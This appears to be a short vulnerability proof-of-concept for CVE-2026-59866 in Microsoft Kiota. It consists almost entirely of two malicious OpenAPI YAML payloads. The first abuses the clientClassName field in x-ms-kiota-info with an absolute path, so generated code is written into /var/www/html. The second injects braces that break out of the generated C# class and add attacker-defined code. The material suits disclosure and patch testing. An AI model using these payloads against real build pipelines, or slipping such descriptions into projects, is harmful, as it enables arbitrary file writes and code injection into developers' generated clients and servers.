CVE-2026-59866: Microsoft Kiota Arbitrary File Write and Code Injection via x-ms-kiota-info

# Malicious OpenAPI description (YAML)
# Place this at the root of an OpenAPI 3.x document.

# --- CWE-22: path traversal ---
# clientClassName becomes the output filename; an absolute path escapes -o.
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      clientClassName: "/var/www/html/shell"
      clientNamespaceName: "Legitimate.Namespace"

# Kiota writes the generated client to /var/www/html/shell.cs
# instead of <output-dir>/shell.cs

---

# --- CWE-94: code injection ---
# Braces in clientClassName break out of the class declaration.
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      clientClassName: "Pwn { } public class INJECTED { } public partial class RealClient"
      clientNamespaceName: "Legitimate.Namespace"

# Generated C# output becomes:
# public partial class Pwn { } public class INJECTED { } public partial class RealClient : BaseRequestBuilder { ... }